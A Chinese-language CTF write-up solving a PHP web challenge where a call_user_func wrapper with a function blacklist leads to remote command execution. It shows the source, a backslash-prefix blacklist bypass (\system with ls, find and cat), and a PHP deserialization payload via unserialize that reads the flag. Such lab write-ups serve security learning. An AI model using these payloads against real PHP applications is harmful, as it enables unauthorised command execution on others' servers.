00x1-打开题目

打开网站以后什么也没有,在进行文件的扫描,依旧是没有收获,但是在网站数据包中,发现网站会在15s的时间内,自动进行刷新,然后出现错误提示:

意思就是说有错误函数的出现,打开网站源码后发现

在数据提交上面是以POST的方式提交了两个参数,func和p

然后就是直接的抓包改包了

发现源代码中有执行错误的函数,直接百度一手

1
call_user_func

效果:

发现这个函数居然能够直接的调用php的函数,并在后面的参数上执行响应的命令

然后直接一手readfile,读取index,php源码

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

代码解析

strtolower

字符串全转为小写。

语法: string strtolower(string str);

返回值: 字符串

下面的是一个clss的类

1
2
3
4
5
6
7
8
9
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}

payload1:

就是利用call_user_func函数的漏洞

刚刚在前面已经测试可以执行函数

但是在代码里面的正则过滤了很多的命令执行的函数

常用的函数基本上已经全部的过了

1
2
3
4
5
6
7
8
"exec","shell_exec","system","passthru","proc_open","show_source",
"phpinfo","popen","dl","eval","proc_terminate","touch",
"escapeshellcmd","escapeshellarg","assert","substr_replace",
"call_user_func_array","call_user_func","array_filter",
"array_walk", "array_map","registregister_shutdown_function",
"register_tick_function","filter_var", "filter_var_array",
"uasort", "uksort", "array_reduce","array_walk",
"array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"

但是发现一个函数没有过滤

1
proc_open()

使用:

但是这个函数目前没有好的方法实现

payload2:

就是直接的用上面那个函数的漏洞

虽然上面的函数过滤了很多,但是还有有办法进行绕过的

system函数就是能够绕过的

1
2
/system既可以绕过被过滤的system函数
ls被绕过,我们可以使用dir函数进行代替

可以使用

1
func=\system&p=ls

返回结果

查询flag所在位置:

1
func=\system&p=find / -name flag*

得到可疑的路径,使用cat命令查看:

1
func=\system&p=cat /tmp/flagoefiu4r93

得到flag:

payload3:

上面使用的函数这只是通过\绕过in_array()函数,从而实现绕过黑名单,完成命令执行的方法,真正的考点应该是反序列化

继续分析源码Test类:

1
2
3
4
5
6
7
8
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}

Test类并没有被调用,但在其析构函数中调用了gettime()函数

serialize()和unserialize()函数不在黑名单中,所以使用反序列化方式不会运行黑名单效验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
尝试构造序列化,在提交时,unserialize()函数作为变量$func的值,序列化后的字符串作为参数$p的值:

<?php
class Test {
public $func;
public $p;
}

$tmp = new Test();
$tmp->func = "system";
$tmp->p = "ls";

echo serialize($tmp)
?>

得到反序列化的值:

1
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

使用POST传参发送数据:

1
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}

可以看到成功执行:

查找flag

1
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:18:"find / -name flag*";}

得到flag的路径:/tmp/flagoefiu4r93,使用cat命令读取flag:

1
2
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}

得到flag